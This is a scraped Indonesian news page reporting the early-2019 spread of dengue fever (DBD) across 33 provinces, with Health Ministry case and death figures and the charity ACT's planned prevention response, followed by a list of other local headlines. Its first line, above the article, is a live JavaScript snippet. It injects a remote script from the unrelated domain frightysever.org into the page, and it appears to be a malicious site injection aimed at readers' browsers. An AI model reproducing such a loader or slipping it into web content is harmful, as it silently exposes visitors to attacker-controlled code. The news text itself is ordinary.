(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Kasus DBD Semakin Meluas, ACT Siap Siaga


JAKARTA, Risiko penyakit Demam Berdarah Dengue (DBD) semakin meluas. Pasalnya, sebanyak 33 provinsi se-Indonesia telah melaporkan bahaya penyakit yang bisa merenggut nyawa manusia ini. Peningkatan terjadinya angka positif DBD disebabkan cuaca ekstrem dan hujan lebat yang terjadi hampir merata di seluruh wilayah Indonesia.

Direktur Pencegahan dan Pengendalian Penyakit Tular Vektor dan Zoonotik Kementerian Kesehatan (Kemenkes) Siti Nadia Tarmizi memaparkan, ada sebanyak 372 kabupaten atau kota yang telah melapor mendeteksi kasus DBD, tersebar 33 provinsi di seluruh Indonesia.

Bahkan per Ahad (27/1), Kemenkes telah menyatakan empat wilayah di Indonesia ditetapkan menjadi Kejadian Luar Biasa (KLB) waspada 1 untuk penyakit DBD. Wilayah itu antara lain Provinsi Sulawesi Utara, Kabupaten Kapuas di Kalimantan Tengah, Kabupaten Manggarai Barat, dan Kota Kupang di NTT.

Di Sulawesi Utara sendiri, hingga Selasa (29/1), penderita DBD sudah mencapai 1.052 orang dan 13 orang meninggal dunia. Sesuai data Dinas Kesehatan Daerah Provinsi Sulawesi Utara, mayoritas dari penderita berasal dari Manado, Minahasa Utara, dan Minahasa.

Jumlah kasus DBD yang dimiliki Kemenkes sejak 1 Januari 2019 hingga 25 Januari 2019 adalah 11.224 orang sudah terjangkit dan 110 orang meninggal dunia. Provinsi yang memiliki tren tinggi kasus suspect Dengue adalah Jawa Timur, Jawa Tengah, NTT, Sulawesi Utara, dan Lampung.

Siaga DBD

Menyikapi kasus DBD yang semakin meningkat dan meluas, dalam waktu dekat Aksi Cepat Tanggap (ACT) akan melakukan tindakan pencegahan dan edukasi kesehatan. Lukman Azis selaku Direktur Komunikasi ACT menyatakan bahwa ACT pun bertanggung jawab atas ancaman kesehatan yang berpotensi menjadi masalah kemanusiaan masif.

“Salah satu ancaman kesehatan itu kini terjadi di depan mata. Bahkan kasus positif DBD juga terjadi pada keluarga terdekat, atau di lingkungan sekitar rumah. Selagi menjalankan aksi kemanusiaan di ranah global untuk diaspora Uighur, Pengungsi Suriah, atau Warga Gaza di Palestina, ACT juga turun tangan untuk mengatasi krisis DBD yang sedang merebak di sejumlah daerah di Indonesia,” ujar Lukman Azis.


Page: 1 2

Desy Arfianty

Recent Posts

Nurkhalis Anshari Menuju Pilwali Banjarbaru ‘Bergantung’ Poros Pilgub Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Proses lobi politik terus dilakukan kader Partai Keadilan Sejahtera (PKS) Nurkhalis Anshari… Read More

2 jam ago

8 Nama Masuk Penjaringan DPC PKB Banjarbaru, Ada Ayah dan Anak dari Golkar

KANALKALIMANTAN.COM, BANJARBARU – Partai Kebangkitan Bangsa (PKB) pemilik 3 kursi di DPRD Kota Banjarbaru 2024-2029… Read More

3 jam ago

Jembatan Simpang 3 Lingkar Utara Banjarbaru Ditutup Sampai Akhir Tahun, Begini Pengalihan Lalin ke Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Pengendara yang biasa melewati akses jembatan simpang tiga jalan Lingkar Utara, Kota… Read More

7 jam ago

Pilgub Kalsel 2024 Dipastikan Tanpa Pasangan Non Partai

Pendaftar Jalur Independen Pilkada di Kalsel Hanya 4 Daerah Read More

8 jam ago

Upah Dipotong untuk Tapera, Cuit Soleh Solihun Bikin Pekerja Ketar-ketir

KANALKALIMANTAN.COM, JAKARTA - Publik di platform sosial media tengah ramai membahas perihal pemotongan upah pekerja… Read More

8 jam ago

Kenaikan UKT Ditunda Mahasiswa Jangan Senang Dulu, Menunda Belum Membatalkan!

KANALKALIMANTAN.COM, JAKARTA - Politikus PDI Perjuangan Adian Napitupulu menyebut mahasiswa telah berhasil membuat semua orang… Read More

8 jam ago

This website uses cookies.